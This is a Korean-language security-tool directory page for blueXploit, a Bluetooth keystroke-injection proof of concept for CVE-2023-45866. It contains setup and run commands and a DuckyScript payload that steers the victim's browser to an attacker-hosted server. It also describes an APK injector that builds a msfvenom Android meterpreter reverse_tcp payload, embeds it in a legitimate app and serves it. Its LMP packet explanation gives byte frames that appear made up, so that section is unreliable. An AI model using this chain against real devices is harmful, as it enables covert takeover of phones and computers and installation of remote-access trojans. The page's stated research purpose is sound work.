Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
blueXploit — Bluetooth 치명적 취약점(CVE-2023-45866, CVE-2024-21306) 기반 익스플로잇 | Kitploit
도구/GitHubGitHub/danyw24/bluexploit
Bluetooth SecurityPayload GenerationExploitationWireless SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubdanyw24/bluexploit

blueXploit

Bluetooth 치명적 취약점(CVE-2023-45866, CVE-2024-21306) 기반 익스플로잇

저장소 보기
14229일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

blueXploit

image

blueXploit 동영상

  • blueXploit는 Marc Newlin이 발견한 Bluetooth 키보드 주입 취약점 CVE-2023-45866을 재현하는 제 자체 proof-of-concept입니다. Bluetooth 프로토콜의 결함을 악용하여 대상 기기에 페어링 없이 키 입력을 주입하며, 더 복잡한 공격의 문을 엽니다.

귀속 표기. 취약점과 원본 익스플로잇은 Marc Newlin의 작업입니다 (hi_my_name_is_keyboard) — 저는 발견을 주장하지 않습니다. 이 저장소는 해당 버그를 이해하고 문서화하기 위해 만들어진 재현물이며, 그 위에 blueXploit는 DuckyScript 스타일의 페이로드 실행기, 재연결/재시도 메커니즘, 그리고 선택적인 Android APK 주입 도우미를 추가합니다. 여기의 모든 것은 교육 및 연구 목적으로만 제공됩니다.

취약점의 작동 원리

이러한 심각한 취약점(CVE-2023-45866, CVE-2024-21306)은 공격자가 사용자 확인 없이 키 입력을 주입하고 페어링 요청을 수락할 수 있게 합니다. 이는 여러 운영 체제의 보안에 치명적인 영향을 미칩니다.

영향을 받는 시스템

  • Android: 4.2부터 14까지(2023-12-05 패치가 없으면 11–14)
  • Linux: BlueZ 패치 필요.
  • macOS: 12부터 14.2까지(부분 수정).
  • iOS: 16(취약), iOS 17.2에서 패치됨.
  • Windows: 2024년 1월 "Patch Tuesday"에서 수정됨.

영향

  • 이 취약점은 Bluetooth 페어링을 수락하지 않더라도 키 입력을 주입하여 기기를 원격으로 제어할 수 있게 하며, 연결을 강제하고 주요 명령을 실행합니다.

공격 예시

  • 원격 명령 실행: 주입된 키 입력을 통해 취약한 기기를 제어하며, 공격 벡터는 셸 확보부터 악성 애플리케이션 설치까지 다양합니다.
  • 서비스 거부(DoS) 공격: 페어링 요청으로 기기를 가득 채웁니다.

완화 조치

  • 기기를 최신 시스템 패치로 업데이트하세요.
  • 사용하지 않을 때는 Bluetooth를 꺼 두세요(이 취약점을 이용한 어떤 익스플로잇도 실행되지 않습니다).
  • 알 수 없는 기기와 페어링하지 마세요.

blueXploit - 사용 및 데모

  • Marc Newlin의 원본 익스플로잇 기반.

  • 의존성 설치

root@kitploit:~
# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus apktool metasploit-framework \
                    keytool openjdk-23-jdk

sudo apt autoremove && sudo apt autoclean  

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

APKPwn + blueXploit 사용하기

blueXploit는 Android 기기의 취약점을 악용하는 도구를 포함하며, 두 가지 주요 구성 요소와 injector 폴더에 있는 apkpwn_injector라는 추가 프로그램을 제공합니다.

APKPwn 기능

  • msfvenom을 사용하여 android/meterpreter/reverse_tcp 페이로드 생성을 자동화합니다.
  • 해당 페이로드를 apk_clean 폴더에 있는 기존 .apk 애플리케이션에 주입합니다.
  • 생성된 악성 애플리케이션을 제공하기 위한 로컬 서버를 설정합니다.

이러한 기능은 통제된 환경이나 침투 테스트에서 효율적이고 간소화된 공격 흐름을 가능하게 합니다.

image

root@kitploit:~
cd injector
python3 apkpwn_injector.py

duckypayload 생성 또는 편집

blueXploit가 실행하는 주요 명령은 /injector/payloads/ 폴더에서 .txt 형식으로 로드되며, 구문은 간단하고 이해하기 쉽습니다.

duckypayload 예시

root@kitploit:~
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
             

서버가 호스팅되는 주소로 IP 주소를 변경하세요.

기기 감지 및 열거

root@kitploit:~
bluetoothctl

Bluetooth 기기 스캔

root@kitploit:~
scan on

실행

root@kitploit:~
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF

그런 다음 필요하고 사전에 구성된 페이로드를 선택하세요.

데모

전체 데모는 이 동영상에 있습니다.

사용된 하드웨어

  • Raspberry Pi 4
  • Kali Linux ARM64

CVE-2023-45866 설명

이 취약점은 Bluetooth 프로토콜의 낮은 수준에서 악용되며, 주로 HID 프로필과 L2CAP 프로토콜을 조작하여 피해자 기기에 키 입력을 주입합니다.

1. 저수준 Bluetooth 프로토콜

Bluetooth 스택에는 링크 매니저 프로토콜(LMP), 호스트 컨트롤러 인터페이스(HCI), L2CAP 등의 여러 계층이 있습니다. 이 공격은 주로 마지막 두 가지를 사용합니다:

  • HCI: 어댑터 구성이 조작되어 합법적인 HID 기기로 위장합니다.

  • L2CAP: 기기 간 데이터를 다중화하는 역할을 하며, HID 통신을 위해 채널 17(HID Control)과 채널 19(HID Interrupt)를 사용합니다. 이를 악용하여 키 시퀀스를 보낼 수 있습니다.

CVE-2023-45866 악용

CVE-2023-45866는 링크 매니저 프로토콜(LMP)의 취약점으로, "강제 페어링" 공격을 통해 악용됩니다. 기술적으로 수행되는 방식은 다음과 같습니다:

  • LMP는 페어링 요청과 링크 구성을 관리합니다.
  • 손상되었거나 인증되지 않은 LMP 패킷이 페어링을 강제하기 위해 전송됩니다:
root@kitploit:~
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00

이 데이터 프레임에서:

  • 0x01: LMP 페어링 요청
  • 0x01: LMP 인증 요청(PIN)
  • 0x00 0x00 0x00 0x00: 일반적으로 0000인 취약한 PIN 정보

여기서 익스플로잇은 이 패킷에 대한 구성 및 인증 부재를 이용하며, 결국 다음과 같은 응답이 반환됩니다:

root@kitploit:~
  LMP Accept: 0x02 0x00 0x00 0x00 0x00

이 데이터 프레임에서:

  • 0x02: LMP 페어링 요청 수락됨
  • 0x00 0x00 0x00 0x00: 반환된 손상된 PIN 정보

키가 올바르게 검증되지 않으면 연결은 설정되지만 실제 페어링 없이 이루어지므로 다음과 같이 강제 페어링 LMP 패킷을 보낼 수 있습니다:

root@kitploit:~
  LMP Forced Pairing: 0x03 0x01 0x0000

그런 다음 이전에 유출된 키(예: "0000")를 사용하여 인증을 강제할 수 있고, 적절한 검증 과정을 거치지 않고 기기를 페어링하면서 암호화된 통신 채널이 설정될 수 있습니다.

이로 인해 사용자가 모르는 사이에 페어링이 이루어지며, 페어링 창이나 알림조차 없이 발생합니다.

이 CVE의 결함은 특정 기기가 LMP 인증 요청을 제대로 검증하지 않거나 이전 키를 재사용한다는 점입니다.

일단 기기와 페어링되면 — bang! — 나머지는 쉽습니다. blueXploit.py에서 어댑터와 기기는 식별 데이터로 작동하고 위장합니다. 이 경우 다음과 같은 명령이 실행됩니다:

root@kitploit:~
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540  # HID class (keyboard)

blueXploit 코드

root@kitploit:~
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name

HID 데이터 주입

root@kitploit:~
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully

HID 바이트 프레임 설명: :a10100001e000000000000

  • a1: HID 보고서 유형 지정
  • 01: 수신 데이터에 대한 HID 인터페이스 사용 지정
  • 00: 키 누름 또는 키 해제
  • 00 1e 00 00 00 00: 16진수 값으로, 1e는 문자 a에 해당합니다

그런 다음 전송이 성공적으로 수신되었음을 확인하는 ACK가 수신됩니다.

  • blueXploit는 통신을 안정적이고 무손실로 유지하기 위해 재연결 및 데이터 재전송 메커니즘을 통합하므로, 연결이 끊기면 프로그램이 다시 연결되어 이전 위치/문자부터 HID 데이터를 계속 전송합니다.

경고: 이 저장소에 설명된 자료와 기술은 엄격히 교육 및 연구 목적으로만 제공됩니다. 침투 및 익스플로잇 도구는 명시적 허가를 받은 시스템에서만 사용해야 합니다. 소유하지 않은 시스템에서 이러한 기술을 무단 사용하는 것은 금지되어 있으며 많은 관할권에서 불법입니다. 이 콘텐츠의 부적절한 사용으로 인한 손해나 부정적 영향은 전적으로 사용자의 책임입니다.

사용자는 테스트 랩과 같은 통제된 환경에서 작업하고 정보 보안 및 윤리적 해킹과 관련된 모든 현지 법률과 규정을 준수할 것을 권장합니다. 즐거운 해킹 되세요 :D

도구 다운로드